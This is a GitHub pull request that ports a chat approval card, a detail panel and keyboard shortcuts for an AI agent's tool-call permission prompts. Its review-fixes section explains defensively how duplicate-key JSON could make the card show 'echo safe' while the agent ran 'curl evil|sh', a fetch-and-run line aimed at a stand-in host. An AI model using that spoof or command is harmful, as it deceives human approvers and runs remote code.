Skip to content

feat(studio): port the prototype's chat approval card, detail panel, and shortcuts - #2251

Merged
kantord merged 10 commits into
mainfrom
feat/studio-chat-approvals-2207a
Oct 14, 2026
Merged

kantord merged 10 commits into
mainfrom
feat/studio-chat-approvals-2207a

Conversation

@peppescg

@peppescg peppescg commented Oct 10, 2026 •

Copy link
Copy Markdown
Contributor

Stack: part of gh stack #2227, on top of #2250 (shortcuts). It was rebased onto #2250 after the screenshots were taken. The one conflict was in shortcut-reference.tsx: the approval-keys paragraph now sits in the "Escape in a chat" card that #2250 moved. The gates were rerun on the rebased head ac800536f: server 195, web 1,024, browser 66. The screenshots are labelled with the pre-rebase head 7a798b192, which has identical chat code.

Summary

This is the Approvals step of the chat alignment (#2207, part of #2210): step 1 of 4, before the composer, the transcript and delegation, and the session dialogs. It's stacked on #2233, so review that first.

The chat's approval UI now comes from the prototype (stack-08): the approval card, a per-ask detail panel with the full diff, the verdict bar with keycap hints, and the y/a/w/n/d and arrow-key shortcuts. The plan-review and authorization cards take the prototype's look too.

The prototype's UI doesn't hold any verdict state of its own. Every click and every shortcut goes through the chat surface's existing verdict calls, which check Studio's verdict state again. These are unchanged:

  • one phase per ask (idle, in flight, acknowledged, uncertain), and an uncertain verdict blocks a retry
  • the exact plan-ask control: the plan-asks/{askId} route, the exact_plan_ask_control gate, and plan-continuation.ts
  • chat-escape.ts: Escape still denies the active ask, or iterates a plan, in its existing order
  • the authorization-review flow
  • destructive classification through isDestructiveToolName (fix(studio): classify destructive tool approvals by name tokens #2230)

What changed

Approval card (approval-panel.tsx)

  • The prototype's card:
    • a tinted "Permission required" title and tool badge
    • the destructive note "This action modifies or deletes data."
    • an Open in detail panel button
    • the arguments in one box, with a Raw arguments toggle at its top right
    • a verdict bar
  • The arguments view (ask-args.ts, ask-args-view.tsx, ported) shows:
    • Edit and Write calls as their diff
    • a command as its text
    • anything else as formatted JSON
    • arguments over 64 KiB as sent, as before
  • The verdict bar (approval-verdict-bar.tsx, ported) fills Allow once in the card's tone and shows keycaps (Y, W, N). The keycaps and aria-keyshortcuts appear only while the shortcuts are live, so a hint never names a key that does nothing.

Detail panel (approval-detail-panel.tsx, new)

  • Open in detail panel shows the same ask in the chat's side panel, with its full diff ("Show all N lines" instead of the card's 40-line cap) and the same verdict bar.
  • The panel reads the same verdict state as the card, so both block together while a verdict is in flight or uncertain.
  • It closes when the ask settles, whether the verdict is acknowledged or the stream retracts it.
  • The side thread has no panel slot, so its cards have no detail button, as in the prototype.

Keyboard shortcuts (use-approval-shortcuts.ts, ported)

  • Y or A allows once, W always allows, and N or D denies. The arrow keys move focus between the verdict buttons and wrap.
  • The keys act only on the surface's active ask, the same one Escape acts on. They act only while that ask is answerable. They never act while it is in flight, acknowledged, uncertain, stale, or unavailable.
  • They never fire in these cases:
    • while typing in an input, textarea, select, or editor
    • with Ctrl, Cmd, or Alt
    • on a held key or during IME composition
    • under an open dialog or menu
    • from another chat surface. A key press answers an ask only while focus is inside that ask's card or detail panel. With nothing focused (the page body), a key press answers nothing.
  • A new ask never takes focus. The keys act once the reader puts focus inside the card or detail panel, by Tab or click (see Review fixes).
  • The workspace root is marked data-chat-surface="workspace", beside the existing thread surface, so each surface keeps its own keys.

Plan review card (plan-review-card.tsx)

  • Re-skinned only. The card is brand-toned, with the clipboard icon and the plan in the same argument box and Raw arguments toggle as an ordinary ask.
  • These are unchanged:
    • the verdicts and which ones are enabled
    • the unavailable-control reason
    • the uncertain state
    • the "Esc to Iterate" hint

Authorization (authorization-review.tsx)

  • The row on the tool call becomes the prototype's blue authorization card: key icon, status as its title, and the connector's name as a badge, with Review authorization.
  • In the review panel, Open authorization becomes the primary action, Recheck is outlined, and Cancel authorization is quiet, as in the prototype. The flow, the uncertain-outcome rules, and every label are unchanged.

Docs

  • user-docs/operating/studio.md describes the formatted arguments, the detail panel, and the keys.
  • The shortcuts page lists the keys under "Escape in a chat".

Differences from the prototype

  • Escape: stays with useChatEscape. The prototype's hook also denies on Escape, from a capture listener that would skip Studio's overlay, selection, IME, and key-release rules.
  • Shortcut scope:
    • The prototype listens document-wide while any approval is open.
    • Studio scopes the keys to the surface's active ask and its chat surface. Studio can show several cards at once, across the workspace, a side thread, and the detail panel.
    • Studio also ignores modified keys. In the prototype, Cmd+A or Ctrl+D would answer the ask.
    • The arrow keys act only on a focused verdict button, so Up and Down still switch chats elsewhere.
  • Autofocus: the prototype focuses Allow once on every new ask, even out of the composer. Studio never moves focus to a new ask (see Review fixes).
  • Diff: the args diff is Studio's existing edit-diff.tsx view (the same line differ, its -N +N header, and its screen-reader row labels), not a second diff renderer. So args-diff.tsx isn't ported.
  • Raw toggle: labelled Raw arguments, a pressed-state toggle, instead of "Raw"/"Pretty". This keeps the existing label, and the inline note "Inspect raw arguments for the complete input" still points at it.
  • Verdict bar:
    • Each button keeps its own disabled state, instead of a <fieldset disabled>, so Deny stays available when an ask has no arguments.
    • Allow once uses Studio's *-foreground tokens for its text, instead of white, so it keeps its contrast on the dark theme's lighter amber and red.
  • Card border: stays border-warning/40 (the prototype uses /30), which keeps fix(studio): classify destructive tool approvals by name tokens #2230's tone pins exact.
  • Destructive tone: the prototype still has the regex bug fix(studio): classify destructive tool approvals by name tokens #2230 fixed, so it would show delete_file as amber. Studio shows it red.
  • Plan card:
    • shows the plan text, formatted, where the prototype shows the arguments' JSON
    • keeps Studio's unavailable, uncertain, and Esc states
    • doesn't port the prototype's /sessions/{id}/plan route
  • Authorization:
    • Studio keeps its review side panel. The prototype puts the open, copy, re-check and cancel actions, plus an expiry countdown, inline in the card, and fetches the sign-in URL itself.
    • Studio's review links to the BFF's presentation route and never stores the URL. So copy and countdown aren't ported.
  • Phones: the keycaps and the "Esc to Deny" hint show on phones too, as in the prototype and as Studio already did for "Esc to Deny".
  • Detail panel frame: Studio's side-panel frame (resize, close, and the bottom sheet on phones). There's no maximize button, and no "1 of N" badge unless several asks are pending.

Visible change

  • Approval card:
    • an amber or red title and badge
    • the destructive note on red cards
    • a detail-panel button
    • the arguments in one box: formatted JSON or a command, where there used to be only a raw disclosure, and the diff for Edit and Write
    • Raw arguments as a toggle at the box's top right, instead of a disclosure under it
    • a filled Allow once in the card's tone (it was the brand green) with Y, W, and N keycaps
    • a 12px vertical margin, instead of 8px
  • Focus: a new ask leaves focus where it is, so Allow once shows no focus ring until the reader focuses it.
  • Detail panel (new): the ask in the side panel, with its full diff.
  • Verdict notices: pixel-identical. The "Permission … recorded." notices after Allow once and Deny match before and after.
  • Uncertain: the re-skinned card with the unchanged message. All three verdicts are disabled, and there are no keycaps.
  • Plan review: a brand tint (it was amber), a clipboard icon, and the plan in a box with Raw arguments at its top right, instead of a disclosure at the bottom. Iterate is muted.
  • Authorization: a blue card on the tool call (it was a plain row), and the review panel's new button emphasis and status header.

No regression

Pinning tests

807ba0a86 was committed first, alone, and passes on the base (b7ca46bbe) and on this branch, unchanged. It adds four tests to approval-interactions.test.tsx:

  • Tab order: the three verdict buttons are the card's last tab stops, in the order Allow once, Always allow, Deny.
  • Composer: "yawnd YAWND" and the arrow keys typed in the composer never post a verdict, and they leave every verdict enabled.
  • Verdict phases, on the workspace and the side thread:
    • idle: all three verdicts are enabled and "Esc to Deny" shows
    • in flight: exactly one POST, all three disabled, no Esc hint, and y, a, w, n, d, and Escape are ignored
    • acknowledged: the card leaves and "Permission allow once recorded." shows
    • uncertain: the card stays and shows the message, all three are disabled, and keys on the card or the page post nothing
  • Plan phases:
    • unavailable control: the reason shows, with no verdict buttons and no Esc hint
    • in flight and uncertain: all three verdicts are disabled, and Escape posts nothing

New tests

  • approval-shortcuts.test.tsx (20 tests) covers:
    • each key and its verdict, in either case
    • modified, held, composing, and unrelated keys
    • typing in an input, textarea, select, or editor on the same surface
    • the active-ask and ledger gates, with no keycaps or aria-keyshortcuts while blocked
    • Deny only, when there are no arguments
    • an open dialog
    • keys routed between a workspace and a nested thread surface
    • arrow-key focus stepping, with preventDefault so chat navigation doesn't also fire
    • no autofocus: a new ask never takes focus, and the keys answer nothing until focus is inside the card
    • the keycaps
    • no letter keys on the plan card
    • the destructive note and the Raw arguments toggle
    • describeAskArgs
  • approval-interactions.test.tsx adds four workspace tests:
    • a keyboard verdict posts once, to the exact route, on both surfaces
    • the detail panel's verdict uses the same route, and the card and the panel block together
    • an uncertain verdict in the panel blocks clicks and keys
    • the panel closes when the stream settles the ask, and after an acknowledged verdict
    • no detail button in the side thread

Two mutations were checked by hand: dropping the typing check fails the composer and typing tests, and dropping the ledger gate from the card fails the phase and gate tests.

Existing tests

No existing test was modified or deleted. These all pass with their assertions unchanged:

  • chat-workspace.integration.test.tsx
  • approval-interactions.test.tsx
  • approval-panel.test.tsx, with fix(studio): classify destructive tool approvals by name tokens #2230's tone pins
  • plan-review.test.tsx
  • authorization-review.test.tsx
  • chat-escape.test.tsx
  • verdict-ledger.test.ts
  • delegation-workspace.test.tsx
  • the e2e/chat-approval.spec.ts journeys, which cover approving, denying, the plan verdicts, two tabs, a stale plan ask, Escape denying, and the real mock daemon

The card keeps every role, name, and text these tests use: the section region, "Raw arguments", "Arguments unavailable", the edit-diff and write-block test IDs, the 40-row "more diff lines" cap, and the screen-reader "Added line" and "Removed line" labels.

Layout regression caught by the screenshots

The screenshots caught a regression in an earlier revision. On a 390px phone, the Badge primitive's shrink-0 let a tool name push Open in detail panel past the card's edge. 7a798b192 fixes it: the header now wraps, so the tool badge moves to its own line and truncates only when the name is wider than the card. The test for it in approval-shortcuts.test.tsx fails on the earlier revision.

Gate counts

Both columns ran through the shared gate lock on the same loaded machine. Base is b7ca46bbe (#2233's head), and this branch is 7a798b192.

Gate Base (b7ca46bbe) This branch (7a798b192)
Biome 428 files 435 files
Typecheck and generated-artifact check clean clean
Server 24 files, 194 of 195 tests (see below) 24 files, 195 tests
Web 136 files, 980 tests 137 files, 1,008 tests
Browser (task studio:browser) 66 66

The base's one server failure was scripts/build.test.ts, "bakes the release tag into the BFF and omits it in local builds", which timed out at 5 s under load. This PR doesn't touch the server, and the test passed in the head run.

The 28 new web tests are the 4 pins, the 4 workspace tests, and the 20 tests in approval-shortcuts.test.tsx. The browser run includes all four chat-approval.spec.ts journeys, on desktop and mobile Chromium.

task docs passed: matlatl --strict reported 185 documents and 0 broken links. It also rewraps one line of user-docs/reference/server-cli.md, because the default workspace path in the generated text depends on the checkout's path length. That change isn't part of this PR.

Screenshots

Captured with a throwaway Playwright journey (Chromium, not committed). It uses offline BFF routes and a loopback activity stream that stays open, so each ask stays pending. The clock is fixed at 2026-09-25 12:30 UTC, the time zone is Europe/Rome, and the locale is en-US. Every surface was shot at desktop 1280×800 and mobile 390×844, in light and dark.

The card surfaces were also cropped to the whole card in a 1600px-tall viewport, because on a phone the card is taller than the transcript area. The verdict states come from a 204 response (approved, denied) and a 409 stale_run_control (uncertain).

Before is the base (b7ca46bbe) and after is this branch's head (7a798b192). Each tree was captured twice. The two runs of each tree matched pixel for pixel, apart from 110–310 px of anti-aliasing in six shots. An earlier after capture of one shot (uncertain, desktop dark) caught the transcript before it scrolled to the bottom; that composite uses a settled capture. Every pair was pixel-compared, and red boxes mark the regions that differ. Desktop composites are downscaled to 1600px wide.

The Prototype column comes from the prototype gallery (stack-08), where it has the surface. Its pending ask is a Bash command in a different chat, so it's a visual reference, not the same content. The gallery has no destructive ask, verdict states, or authorization card, so those composites have two columns.

Pending approval

Warning (Edit)

Intended change: the prototype's card, with an amber title and badge, the detail button, the diff in the argument box under the Raw arguments toggle, and a filled amber Allow once (focused in this capture, taken before the review fix; a new ask no longer takes focus) with Y/W/N keycaps. Matches the prototype, except the diff keeps Studio's -N +N header, the label reads Raw arguments, and the border stays at /40.

Warning (Edit), desktop light

Dark, mobile, and the whole card

Desktop, dark:

Warning (Edit), desktop dark

Mobile, light:

Warning (Edit), mobile light

Mobile, dark:

Warning (Edit), mobile dark

The whole card (the page shot cuts it on a phone):

Card, desktop, light:

Warning (Edit) card, desktop light

Card, desktop, dark:

Warning (Edit) card, desktop dark

Card, mobile, light:

Warning (Edit) card, mobile light

Card, mobile, dark:

Warning (Edit) card, mobile dark

Destructive (delete_file)

Intended change: the red card with the destructive note, formatted JSON arguments, and a filled red Allow once. Matches the prototype's destructive styling. The prototype gallery has no destructive ask, and its regex (the #2230 bug) would show delete_file as amber.

Destructive (delete_file), desktop light

Dark, mobile, and the whole card

Desktop, dark:

Destructive (delete_file), desktop dark

Mobile, light:

Destructive (delete_file), mobile light

Mobile, dark:

Destructive (delete_file), mobile dark

The whole card:

Card, desktop, light:

Destructive (delete_file) card, desktop light

Card, desktop, dark:

Destructive (delete_file) card, desktop dark

Card, mobile, light:

Destructive (delete_file) card, mobile light

Card, mobile, dark:

Destructive (delete_file) card, mobile dark

Detail panel

Approval detail panel

New: Open in detail panel shows the ask in the side panel with its full diff and the verdict bar. Before has no detail panel. Matches the prototype's panel content. It uses Studio's side-panel frame, with no maximize button, and shows "Esc to Deny" while the ask is answerable.

Approval detail panel, desktop light

Dark, mobile

Desktop, dark:

Approval detail panel, desktop dark

Mobile, light:

Approval detail panel, mobile light

Mobile, dark:

Approval detail panel, mobile dark

Verdict states

Approved

Unchanged, pixel for pixel: after Allow once, the card leaves and "Permission allow once recorded." shows. The prototype gallery has no verdict states.

Approved, desktop light

Dark, mobile

Desktop, dark:

Approved, desktop dark

Mobile, light:

Approved, mobile light

Mobile, dark:

Approved, mobile dark

Denied

Unchanged, pixel for pixel: after Deny, the card leaves and "Permission deny recorded." shows.

Denied, desktop light

Dark, mobile

Desktop, dark:

Denied, desktop dark

Mobile, light:

Denied, mobile light

Mobile, dark:

Denied, mobile dark

Uncertain

Intended change: only the re-skinned card. The uncertain message, the disabled verdicts, and the error notice are unchanged, and there are no keycaps while the ask is blocked. The prototype has no uncertain state; this is Studio's verdict ledger.

Uncertain, desktop light

Dark, mobile, and the whole card

Desktop, dark:

Uncertain, desktop dark

Mobile, light:

Uncertain, mobile light

Mobile, dark:

Uncertain, mobile dark

The whole card:

Card, desktop, light:

Uncertain card, desktop light

Card, desktop, dark:

Uncertain card, desktop dark

Card, mobile, light:

Uncertain card, mobile light

Card, mobile, dark:

Uncertain card, mobile dark

Plan review

Plan review card

Intended change: the brand-toned card with the clipboard icon, and the plan in the argument box under Raw arguments (before, a disclosure at the bottom), with a muted Iterate. Matches the prototype, except Studio shows the plan text formatted, not the arguments' JSON, and keeps "Esc to Iterate".

Plan review card, desktop light

Dark, mobile, and the whole card

Desktop, dark:

Plan review card, desktop dark

Mobile, light:

Plan review card, mobile light

Mobile, dark:

Plan review card, mobile dark

The whole card:

Card, desktop, light:

Plan review card card, desktop light

Card, desktop, dark:

Plan review card card, desktop dark

Card, mobile, light:

Plan review card card, mobile light

Card, mobile, dark:

Plan review card card, mobile dark

Authorization review

Authorization card

Intended change: the prototype's blue authorization card on the tool call, with a key icon, the status as its title, and the connector badge (before, a plain bordered row). It deliberately keeps Studio's Review authorization flow instead of the prototype's inline actions and countdown. The prototype gallery has no authorization surface.

Authorization card, desktop light

Dark, mobile, and the whole card

Desktop, dark:

Authorization card, desktop dark

Mobile, light:

Authorization card, mobile light

Mobile, dark:

Authorization card, mobile dark

The whole card:

Card, desktop, light:

Authorization card card, desktop light

Card, desktop, dark:

Authorization card card, desktop dark

Card, mobile, light:

Authorization card card, mobile light

Card, mobile, dark:

Authorization card card, mobile dark

Authorization review panel

Intended change: a blue status header with the connector badge, Open authorization as the primary button, Recheck outlined, and a quiet Cancel authorization, matching the prototype's button emphasis. The text, links, and flow are unchanged.

Authorization review panel, desktop light

Dark, mobile

Desktop, dark:

Authorization review panel, desktop dark

Mobile, light:

Authorization review panel, mobile light

Mobile, dark:

Authorization review panel, mobile dark

The prototype reference code is on stack-08, in apps/web/src/features/chat/: approval-panel.tsx, approval-detail-panel.tsx, approval-verdict-bar.tsx, ask-args.ts, ask-args-view.tsx, args-diff.tsx, use-approval-shortcuts.ts, plan-review-panel.tsx, and authorization-panel.tsx.

Review fixes

Fixes from the final regression and security review of the stack (stack #2227). Each one comes with a test that fails without the fix.

Every #2251 finding from the final review is fixed. Each fix has a test that fails on the pre-fix head ac800536f and passes now. The four step-1 pinned tests (approval keyboard and verdict phases) are unchanged and still pass.

Blocker: the shell view could show a different command from the one that runs (b4ed160f3)

  • Cause: the engine decodes a tool call's arguments with Go's encoding/json into fixed structs (session.ParseArgs, with the json tags in engine/adapter/fstools/{shell,edit,write}.go). Go matches member names case-insensitively, folds Unicode as well (temp_ſcope is temp_scope), keeps the last match, and ignores unknown members. JSON.parse keeps each spelling as its own property. So {"command":"echo safe","COMMAND":"curl evil|sh"} showed echo safe on the card while the engine ran curl evil|sh. We checked every test row against the real structs on Go 1.27.

  • Fix: a command or diff view is now built only when two things hold:

    • Every top-level name is exactly one of the struct's json tags (command/timeout_ms/temp_scope, path/old_string/new_string/replace_all, or path/content), and no name repeats.
    • Every value has the type the engine reads.

    Anything else shows as formatted JSON, with every member as sent. Studio doesn't mirror Go's folding rules: it requires exact names instead, so no spelling can slip through.

  • The Edit and Write parsers shared with the transcript diff use the same check.

  • A command now also shows a non-zero timeout_ms and any temp_scope, under the command.

Blocker: a key inside one card answered another card's ask (6fe2f97e5)

  • Each card is now marked data-approval-scope, and the detail panel's whole frame is its own ask's scope.
  • A key answers an ask only when target.closest() of that selector is that ask's own card or panel.

Major: letter keys acted with focus on the page body (6fe2f97e5)

  • Focus lands on the page body after a click on plain text in Chromium, or after any button click in WebKit. So typing "Why…" after the composer had lost focus granted Always allow.
  • The letters now act only while focus is inside the ask's card or panel. The page body, the rest of the surface, and other cards never answer an ask.

Minor: autofocus on Allow once (6fe2f97e5, e5e0a6f5b)

  • A new ask now never takes focus. 6fe2f97e5 first moved the autofocus to Deny, but a W typed blind as an ask arrived would still have granted Always allow, a persistent rule. So e5e0a6f5b removed the autofocus entirely.
  • The letter keys and Enter act only after the reader puts focus inside the card or detail panel, by Tab or click. Opening the detail panel is itself a deliberate act, so its close button still takes focus.
  • Deliberate difference from the prototype: the prototype focuses Allow once on every new ask. Studio leaves focus where it is.

Minor: Escape in the detail panel denied a different ask (6fe2f97e5, dbb664a17)

  • A panel showing an ask other than the active one now handles Escape itself and only closes.
  • It shows "Esc to Close" under its verdicts, where the active ask's panel says "Esc to Deny". The first version put the hint in the panel header, where it cut the tool name down to "W..", so dbb664a17 moved it.
  • A panel showing the active ask still denies it on Escape, as its card does.

Tests

  • New:
    • ask-args.test.ts: the decode table for Shell, Edit and Write, plus the name scanner.
    • Card-level tests in approval-shortcuts.test.tsx:
      • the spoofed command
      • the timeout and temporary-storage row
      • the folded Edit name
      • another card's focus
      • the page body and "Why…"
      • a blind W right after an ask arrives, with no user focus, grants nothing
      • the keys answer only once Tab moves focus into the card
    • approval focus scope in approval-interactions.test.tsx, through the real workspace and verdict routes:
      • another card and the page body
      • a blind W or Enter after a new ask grants nothing, and the keys work once the card has focus
      • after a keyboard verdict, the next ask doesn't take focus, so stray keys answer nothing
      • keys answered once from the panel frame
      • Escape in a panel showing another ask
  • Changed, because the behaviour changed:
    • Shortcut tests now press keys inside the card instead of on the page body.
    • The surface-scope test now asserts that keys pressed outside both cards answer nothing.
    • Autofocus tests now expect that nothing is focused, and that keys answer nothing until focus is inside the card.
    • One describeAskArgs assertion now also expects timeoutMs: 5, which is stricter.

Gates

Gate Before (ac800536f) After (15231d977)
studio:check server 195 195
studio:check web 1,024 1,066
studio:browser 66 66

Screenshots

  • Focus: a new ask no longer shows a focus ring. Before, Allow once had one. Studio deviates from the prototype here on purpose.
  • Spoofed command: the arguments show as JSON, with both members visible.
  • Command options: the card shows a Timeout and Temporary storage row.
  • Detail panel of another ask: "Esc to Close" appears under the verdicts.
  • Shortcuts page: the text describes the focus rule.

The composites are in studio-alignment-2251/. The shortcuts composites predate the restack onto main, which adds main's Scheduled card after Chats.

Follow-up (not in this PR)

  • With focus inside a card that isn't the active ask, Escape still denies the surface's active ask. That behaviour predates this PR (feat(studio): complete chat approvals, plan review, and Escape flow #1975), and Studio's Escape layering in chat-escape.ts is unchanged here. The detail panel no longer does this. The card case needs the same rule, tracked as a follow-up.

Screenshots (Before ac800536f | After 15231d977)

A spoofed command (command plus COMMAND) now falls back to the JSON view, which shows both keys:

shell spoof, desktop light

Non-default timeout_ms and temp_scope are shown:

shell options, desktop light

A new ask no longer takes focus (no focus ring on Allow once):

approval warning, desktop light

A detail panel showing a non-active ask closes on Escape, with "Esc to Close" under its verdicts:

detail panel of another ask, desktop light

Re-verification (2026-10-11)

  • A Shell ask with background fell back to the JSON view. The engine (fix(engine): show the full command in system temp-scope approval asks #2263) projects a system temp-scope Shell ask as {command, timeout_ms?, background?, temp_scope}, and background is a json tag of its shellArgs (engine/agent/shelltool.go). It joins the exact-name set with the same no-duplicate rule and a boolean-or-null type check, and the command view's options row shows Background when it is true; a folded spelling, a repeat, or a non-boolean value still falls back to the JSON view. (e6c12886b) Tests: ask-args.test.ts (a background row, false/null defaults, and four fallbacks) and approval-shortcuts.test.tsx "shows that a command runs in the background" (fail without the fix).
  • All five review fixes hold here and at the stack top. The Summary, What changed, Differences, Visible change and new-test lines that still described the removed autofocus now describe the current rule: a new ask never takes focus.

A system temp-scope Shell ask with background, before and after (the images are labelled with the pre-restack hashes):

Shell ask with background, desktop light

More: page, mobile, dark

Shell ask with background, desktop dark
Shell ask with background, mobile light
Shell ask with background, mobile dark
Chat page, desktop light
Chat page, mobile dark

Gates on the restacked head e6c12886b: studio:check passes (web 1,135, server 210 tests). At the stack top (#2256): studio:browser 118 passed, 30 skipped; the mecated --mock integration suite 8 passed. The browser suite takes 5.3 minutes on a CI runner.

Commit hashes cited earlier in this body predate the restacks; the current commits keep the same subjects. Hashes in Review fixes are updated.

Refs #2207

🤖 Generated with Claude Code

@peppescg
peppescg added this pull request to stack #2227 October 10, 2026 10:42
@peppescg
peppescg force-pushed the feat/studio-chat-approvals-2207a branch from ac80053 to f04001f Compare October 11, 2026 14:57
@peppescg
peppescg force-pushed the feat/studio-chat-approvals-2207a branch from f04001f to b6592ce Compare October 11, 2026 15:48
@peppescg
peppescg force-pushed the feat/studio-chat-approvals-2207a branch from 110c460 to 96ae463 Compare October 13, 2026 13:29
@peppescg
peppescg force-pushed the feat/studio-chat-approvals-2207a branch from 96ae463 to e6c1288 Compare October 14, 2026 08:45
@kantord
kantord force-pushed the feat/studio-chat-approvals-2207a branch 5 times, most recently from 02b2e65 to 8f62cbc Compare October 14, 2026 09:41
Base automatically changed from feat/studio-shortcuts-2206a to main October 14, 2026 09:47
peppescg and others added 6 commits October 14, 2026 12:47
Pin, before the prototype's approval UI lands, the verdict buttons'
order as the card's last tab stops, that keys typed in the composer
never answer an ask, and each verdict-ledger phase as the ordinary and
plan cards show it (idle, in flight, acknowledged, uncertain, and
unavailable), on the workspace and the side thread.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
…hortcuts

Bring the prototype's approval UI to Studio's chat, driven by Studio's
verdict state rather than its own:

- The approval card takes the prototype's look: tinted title, tool badge,
  a destructive note, the formatted arguments view with a Raw arguments
  toggle, and a verdict bar with keycap hints. Destructive tone still
  comes from isDestructiveToolName.
- Open in detail panel shows the same ask in the side panel with its full
  diff. It reads the same ledger as the card and closes when the ask
  settles.
- Y or A allows once, W always allows, N or D denies, and the arrow keys
  move between the verdict buttons. The keys act only on the surface's
  active ask while the ledger leaves it answerable, never while typing,
  with a modifier, under an overlay, or from another chat surface.
  Escape stays with useChatEscape.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The plan card takes the prototype's brand-toned look and shows the plan
in the same argument box, with the Raw arguments toggle, as an ordinary
ask. Verdicts still go only through the exact plan-ask control, and the
unavailable, in-flight, and uncertain states are unchanged.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The authorization row on a tool call becomes the prototype's info-toned
card, and the review panel's actions take the prototype's emphasis: the
authorization link is the primary action, Recheck is outlined, and
Cancel authorization is quiet. The review flow and its uncertain-outcome
rules are unchanged.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The tool badge kept the Badge primitive's shrink-0, so on a 390px phone
a long tool name pushed the Open in detail panel button past the card's
edge. The header now wraps: the title, position, and tool badge flow
onto a second line while the detail button keeps its corner, and only a
name wider than the card truncates. The shortcut test's editor fixture
also drops a textbox role that Biome's a11y rules reject.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
… way

The engine decodes a tool call's args with Go's encoding/json, which
matches member names case-insensitively (folding Unicode, so "temp_ſcope"
is temp_scope), keeps the last match, and ignores unknown members.
JSON.parse keeps each spelling, so {"command":"echo safe",
"COMMAND":"curl evil|sh"} showed "echo safe" on the card while the
engine ran "curl evil|sh".

A command or diff view is now built only when every top-level name is
exactly one of the engine struct's json tags (shellArgs, editArgs,
writeArgs) and none repeats, and each value has the type the engine
reads. Anything else shows as formatted JSON, every member as sent.
The Edit and Write parsers, shared with the transcript, take the same
check. A command now also shows a non-zero timeout_ms and any
temp_scope.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
peppescg and others added 4 commits October 14, 2026 12:47
Three review findings on the approval shortcuts, and one on Escape:

- A key pressed inside a card that wasn't the active one answered the
  active card's ask, because any focus on the same chat surface counted.
- With focus on the page body, the letters answered the workspace's ask.
  Chromium leaves focus there after a click on plain text, and WebKit
  after any button click, so typing "Why..." after the composer lost
  focus granted Always allow.
- A new ask focused Allow once, so a stray Enter approved it unseen.
- Escape in a detail panel showing one ask denied the surface's active
  ask, a different one.

The letters now act only when focus is inside the ask's own card (marked
data-approval-scope) or the detail panel's frame, matched with
closest(). The page body, the rest of the surface, and other cards never
answer an ask. A new ask focuses Deny, so a stray Enter can only deny.
A detail panel showing an ask other than the active one handles Escape
itself and only closes, and says "Esc to Close". The shortcuts page and
the Studio guide describe the focus rule.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The "Esc to Close" hint added for a detail panel showing a non-active
ask sat in the panel header, where it squeezed the tool name to "W.." at
desktop panel width. It now sits under the verdict bar, where the
active ask's panel says "Esc to Deny", and the header keeps the name.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
A new ask focused Deny when nothing else had focus. Enter could then only
deny, but a W typed blind as the ask arrived still granted Always allow,
a persistent rule. A new ask now never takes focus: the letter keys and
Enter act only after the reader puts focus in the card or detail panel,
by Tab or click. This deliberately differs from the prototype, which
focuses Allow once.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The engine projects a system temp-scope Shell ask as {command,
timeout_ms?, background?, temp_scope}, and `background` is a json tag of
its shellArgs struct (engine/agent/shelltool.go). The card's command
view knew only command, timeout_ms, and temp_scope, so an ask with
background set fell back to the JSON view.

`background` joins the exact-name set, with the same no-duplicate rule
and a boolean (or null) type check, and the command view's options row
shows it when it is true. A folded spelling, a repeat, or a non-boolean
value still falls back to the JSON view.

Refs #2207

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
@kantord
kantord force-pushed the feat/studio-chat-approvals-2207a branch from 8f62cbc to dc19e3a Compare October 14, 2026 09:47
@kantord
kantord merged commit f935889 into main Oct 14, 2026
7 checks passed
@kantord
kantord deleted the feat/studio-chat-approvals-2207a branch October 14, 2026 09:48
@kantord kantord mentioned this pull request Oct 14, 2026
41 tasks done
@kantord

kantord commented Oct 14, 2026

Copy link
Copy Markdown
Member

Post-merge review follow-ups for this PR. No blockers or regressions found. Items worth tracking were filed here:

Other candidate findings were checked and dropped as not worth tracking.

Fully or partially written by an AI agent.

peppescg added a commit that referenced this pull request Oct 15, 2026
…tive ask

With two or more pending asks, Escape from inside a card that isn't the
active ask's denied the active ask: a request other than the one the
reader was looking at.

Escape now answers no ask from another ask's card. Every pending ask's
card is marked data-approval-scope, and the active ask's card is also
marked data-active-ask. useChatEscape returns at the ask layer when the
press comes from a card without that mark. The card's own ask isn't
answered either: it isn't the active ask, so no key answers it, which
matches #2251's detail panel for such an ask, where Escape only closes.

The plan-review card is marked the same way, so Escape from a plan card
that isn't the active ask's neither denies the active ask nor iterates
the active plan.

Unchanged: from the active ask's card, the composer, a side panel that
isn't an approval, or the page, Escape still denies the active ask or
iterates the active plan. An open menu and a text selection still come
first, the double-Escape draft clear works as before, and a held Escape
still acts on nothing.

Tests cover two asks with focus in the second card (nothing is posted for
either ask, on the workspace and the side thread), a plan card that isn't
active, every ordinary and plan pairing at the hook, and a selection that
still clears from another card. They fail without the fix.

Closes #2258

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
kantord pushed a commit that referenced this pull request Oct 15, 2026
…tive ask

With two or more pending asks, Escape from inside a card that isn't the
active ask's denied the active ask: a request other than the one the
reader was looking at.

Escape now answers no ask from another ask's card. Every pending ask's
card is marked data-approval-scope, and the active ask's card is also
marked data-active-ask. useChatEscape returns at the ask layer when the
press comes from a card without that mark. The card's own ask isn't
answered either: it isn't the active ask, so no key answers it, which
matches #2251's detail panel for such an ask, where Escape only closes.

The plan-review card is marked the same way, so Escape from a plan card
that isn't the active ask's neither denies the active ask nor iterates
the active plan.

Unchanged: from the active ask's card, the composer, a side panel that
isn't an approval, or the page, Escape still denies the active ask or
iterates the active plan. An open menu and a text selection still come
first, the double-Escape draft clear works as before, and a held Escape
still acts on nothing.

Tests cover two asks with focus in the second card (nothing is posted for
either ask, on the workspace and the side thread), a plan card that isn't
active, every ordinary and plan pairing at the hook, and a selection that
still clears from another card. They fail without the fix.

Closes #2258

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
peppescg added a commit that referenced this pull request Oct 15, 2026
…tive ask

